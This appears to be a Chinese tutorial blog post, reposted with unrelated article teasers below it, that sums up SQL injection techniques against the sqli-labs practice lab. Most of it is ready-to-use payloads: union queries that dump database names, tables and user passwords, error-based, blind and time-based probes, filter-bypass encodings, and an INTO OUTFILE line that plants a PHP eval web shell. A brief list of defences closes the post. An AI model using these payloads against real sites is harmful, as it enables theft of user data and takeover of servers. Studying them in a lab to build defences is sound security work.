干货|SQL注入思路总结(非常详细)零基础入门到精通,收藏这一篇就够 了

1.SQL注入的业务场景及危害

1.1 什么是SQL注入

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入。

1.2 为什么会有SQL注入

  • 代码对带入SQL语句的参数过滤不严格

  • 未启用框架的安全配置,例如:PHP的magic_quotes_gpc

  • 未使用框架安全的查询方法

  • 测试借口未删除

  • 未启用防火墙,例如IPTABLES。

  • 未使用其他的安全防护设备,例如:WAF

1.3 SQL注入的业务场景以及危害

包括登陆功能、搜索功能、详情页、商品购买等

危害包括数据库泄漏:数据库中存放的用户的隐私信息的泄漏;

网页篡改:通过操作数据库对特定网页进行篡改;

网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

数据库被恶意操作:数据库服务器被攻击,数据库管理员账户被篡改。

服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

1.4 Mysql内置函数

mysql 运算符(算术运算符、比较运算符、逻辑运算符)

1.5 SQL注入流程

1.6 SQL注入的分类及注入方法

按照请求方法进行分类:

  • GET型注入

Step1: 猜解列数http://127.0.0.1/sqli/Less-2/?id=1%20order%20by%203%20#

Step2: 猜解数据库名http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%23

Step3:猜解表名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23

Step4:猜解列名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273%23

Step5:读数据:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(concat_ws(0x3a,username,password)),3%20from%20users%23

  • POST型注入

按照SQL数据类型分类:

  • 整型注入

  • 字符型注入

其他的数据类型:

  • 报错注入

查询当前版本:’ union select 1,extractvalue(1,concat(0x7e,(select version())))#

使用“extractvalue”函数查询当前表名:’ union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)))#

使用"updatexml"函数查询当前php版本:’ union select updatexml(1,concat(0x7e,(select version())),1)#

使用“updatexml”函数查询当前表名:’ union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1)),1)#

  • 双注入 Lesson11

查询版本:admin’ union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version())#

查询数据库名:admin’ union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_schema from information_schema.schemata limit 0,1))#

  • 时间盲注 Sleep(1)函数

猜测表名:?id=1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=‘security’ limit 0,1)>0,sleep(2),0)#

也可用ord( )

  • 布尔盲注 Lesson-5

猜测版本:id=1’ or (select substr(version(),1,1)=‘5’) #

猜测数据库名:id=1’ or (select ascii(substr(table_schema,1,1)) from information_schema.schemata limit 0,1)>1#

猜测表名:id=1’ or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=‘security’ limit 0,1)>1# 可以用burp的intruder进行爆破

  • Cookie注入

和POST、GET注入一样,只是在Cookie中产生注入。

  • User-Agent注入

和POST、GET注入一样,只是在UA中产生注入。可能是其他SQL语句 例如insert、update等。需要进行灵活判断。

  • 二次编码注入

%2527 编码后变成%27 再解码变成’ 就绕过了过滤。

  • 二次注入

在sqilab中第24关可以通过二次注入,重置admin密码。

  • DNSlog注入

1.7 SQL注入读写文件

load_file(file_name):读取文件并返回该文件的内容作为一个字符串,使用条件:
1.必须有权限读取并且文件必须完全可读
2.欲读取文件必须在服务器上
3.必须制定文件完整的路径
4.欲读取文件必须小雨max_allowed_packet

写文件 union select 1,2,“<?php @eval($\\\_POST\\\['pass'\\\]);?>” into outfile “/var/www/1.php”.

2.0注入绕过

2.1绕过注释符注入#

less-23/index.php?id=1’ or (extractvalue(1,concat(0x7e,version()))) or ’

2.2绕过and/or字符过滤

http://127.0.0.1/sqli/Less-25/index.php?id=-1‘ || (extractvalue(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)))) ||’

2.3绕过空格过滤

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
/**/ 代替空格

2.4内联注释绕过

此题过滤了空格,select,#。

内联注释: /*!select*/

http://127.0.0.1/sqli/Less-27/?id=1%27%0aor%0a(extractvalue(1,concat(0x7e,(sElect%0aschema_name%0afrom%0ainformation_schema.schemata%0alimit%0a0,1))))%0aor%0a%27

2.5宽字节注入

主要原因是经常会出现这个过滤“\”,因此可以使用宽字节注入吃掉这个“\”。由于这个字符的hex是5c 所以可以用%865c进行绕过。

http://127.0.0.1/sqli/Less-32/?id=-1%86‘%20union%20select%201,version(),3%23

2.6 其他类型绕过

SQL注入防御手段

代码层

黑名单

白名单

敏感字符过滤

使用框架安全查询

配置层

开启GPC

使用UTF-8

物理层

WAF

数据库审计

云防护

IPS(入侵检测系统)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/890048.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[面试] java开发面经-1

前言 目录 1.看到你的简历里说使用Redis缓存高频数据&#xff0c;说一下Redis的操作 2.说一下Redis的缓存击穿、缓存穿透、缓存雪崩 3.你的项目中使用了ThreadLocal&#xff0c;那么当有两个请求同时发出时&#xff0c;会怎么处理&#xff0c;可以同时处理两个请求吗 4.使用…

【多线程】多线程(12):多线程环境下使用哈希表

【多线程环境下使用哈希表&#xff08;重点掌握&#xff09;】 可以使用类&#xff1a;“ConcurrentHashMap” ★ConcurrentHashMap对比HashMap和Hashtable的优化点 1.优化了锁的粒度【最核心】 //Hashtable的加锁&#xff0c;就是直接给put&#xff0c;get等方法加上synch…

时间序列预测(一)——线性回归(linear regression)

目录 一、原理与目的 1、线性回归基于两个的假设&#xff1a; 2、线性回归的优缺点: 3、线性回归的主要目的是&#xff1a; 二、损失函数&#xff08;loss function&#xff09; 1、平方误差损失函数&#xff08;忽略了噪声误差&#xff09; 2、均方误差损失函数 三、随…

微服务实战——登录(普通登录、社交登录、SSO单点登录)

登录 1.1. 用户密码 PostMapping("/login")public String login(UserLoginVo vo, RedirectAttributes redirectAttributes, HttpSession session){R r memberFeignService.login(vo);if(r.getCode() 0){MemberRespVo data r.getData("data", new Type…

英伟达股价分析:英伟达股价能否上涨到150美元,接下来该如何操作?

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经​ 猛兽财经核心观点&#xff1a; &#xff08;1&#xff09;华尔街投行Oppenheimer已将英伟达的目标价上调到了150美元。 &#xff08;2&#xff09;产品方面的最新进展和合作伙伴关系进一步提升了英伟达的市场地位。 &…

Nacos配置管理和Nacos集群配置

目录 Nacos作为配置中心实现配置管理 统一配置管理 如何在nocas添加配置文件 在微服务拉取nacos配置中心的配置 1&#xff09;引入nacos-config依赖 2&#xff09;添加bootstrap.yaml 3&#xff09;测试&#xff0c;读取nacos配置中心中配置文件的内容 ​编辑 总结&…

ORA-65096:公用用户名或角色名无效

CREATE USER DATA_SHARING IDENTIFIED BY "Ab2"; Oracle建立用户的的时候&#xff0c;可能会出现一直提示 ORA-65096:公用用户名或角色名无效&#xff1b; 我查了一下&#xff0c;好像是 oracle 12版本及以上版本的特性&#xff0c;用户名必须加c##或者C##前缀才能创…

拆解学习【反激-PD-氮化镓】(一)

小米67W桌面快充插座&#xff1a; 反激基本拓扑&#xff1a; 商用场景下&#xff0c;这个拓扑进行了如下优化&#xff1a; 1.Q22换成了氮化镓开关管&#xff0c;当然需要适配的能驱动氮化镓的控制芯片 2.D21二极管换成了MOS管。 3.由于是AC220V输入&#xff0c;设计了整流桥…

Android Camera系列(四):TextureView+OpenGL ES+Camera

别人贪婪时我恐惧&#xff0c;别人恐惧时我贪婪 Android Camera系列&#xff08;一&#xff09;&#xff1a;SurfaceViewCamera Android Camera系列&#xff08;二&#xff09;&#xff1a;TextureViewCamera Android Camera系列&#xff08;三&#xff09;&#xff1a;GLSur…

【Nginx系列】Nginx启动失败

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

轻量服务器和云服务器ecs哪个好用一些?

轻量服务器和云服务器ecs哪个好用一些&#xff1f;轻量服务器与云服务器ECS在多方面存在显著差异&#xff0c;对于需要高性能计算和大规模数据处理的用户来说&#xff0c;ECS可能是更好的选择&#xff1b;而对于预算有限且需求较为简单的用户来说&#xff0c;轻量服务器可能更为…

Cpp::STL—list类的模拟实现(上)(13)

文章目录 前言一、结点类的实现二、迭代器类的实现迭代器类的存在意义迭代器类的模板参数构造函数运算符的重载--运算符的重载、!运算符的重载*运算符的重载->运算符的重载 总结 前言 注意本篇难度偏高&#xff0c;其主要体现在迭代器类的实现&#xff01;   什么&#xf…

QD1-P8 HTML 格式化标签(font、pre、b、strong、i、u、del、s、sub、sup)

本节学习&#xff1a;HTML 格式化标签。 本节视频 www.bilibili.com/video/BV1n64y1U7oj?p8 ‍ 一、font 标签 用途&#xff1a;定义文本的字体大小、颜色和 face&#xff08;字体类型&#xff09;。 示例 <!DOCTYPE html> <html><head><meta cha…

JAVA-数据结构-排序

1.直接插入排序 1.原理&#xff1a;和玩扑克牌一样&#xff0c;从左边第二个牌开始&#xff0c;选中这个&#xff0c;和前面的所有牌比较&#xff0c;插在合适的位置 public static void insertsort(int[] arr){//直接插入排序for (int i 1; i < arr.length; i) {//此循环…

LOID:有效提升遮挡条件下的车道检测精度

1.论文信息 论文标题&#xff1a;LOID: Lane Occlusion Inpainting and Detection for Enhanced Autonomous Driving Systems 作者&#xff1a;Aayush Agrawal, Ashmitha Jaysi Sivakumar, Ibrahim Kaif∗, Chayan Banerjee† 作者单位&#xff1a;印度马德拉斯印度理工学院&…

Web安全 - 路径穿越(Path Traversal)

文章目录 OWASP 2023 TOP 10导图定义路径穿越的原理常见攻击目标防御措施输入验证和清理避免直接拼接用户输入最小化权限日志监控 ExampleCode漏洞代码&#xff1a;路径穿越攻击案例漏洞说明修复后的安全代码代码分析 其他不同文件系统下的路径穿越特性Windows系统类Unix系统&a…

【C++】基于红黑树封装set和map

&#x1f680;个人主页&#xff1a;小羊 &#x1f680;所属专栏&#xff1a;C 很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~ 目录 前言一、更高维度的泛型二、模版参数三、比较逻辑的重写四、迭代器4.1 const迭代器4.2 重载4.3 - -重载 五、完整代…

为什么很多人宁愿加钱买港版,也不愿买国行 iPhone 16

最近的 iPhone 16 市场&#xff0c;真的是倒反天罡&#xff0c;攻守异形啊。 过去&#xff0c;港版 iPhone 都是性价比的次选&#xff0c;便宜个 10% 都得考虑考虑。但今年&#xff0c;港版 iPhone 16 的价格&#xff0c;反而比国行还贵。 比如&#xff0c;闲鱼上某个卖家&am…

[红队apt]文件捆绑攻击流程

免责声明:本文用于了解攻击者攻击手法&#xff0c;切勿用于不法用途 前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 本文整理黑客通过文件捆绑进行攻击的流程思路 文件捆绑原理 废话只多说这一句。 1.exe和2.exe被你捆绑为3.exe。 那么你点击了3.exe就等于点…

kafka消息队列核心内容及常见问题

目录 1. 使用消息队列的目的&#xff08;优点与缺点&#xff09; 2. 常见各消息队列对比 3. kafka介绍 3.1 kafka简介 3.2 kafka特点 3.3 kafka系统架构 3.4 设置数据可靠性 3.4.1 Topic 分区副本 3.4.2 消息确认机制 4. 常见问题&#xff08;面试题&#xff09; 4.…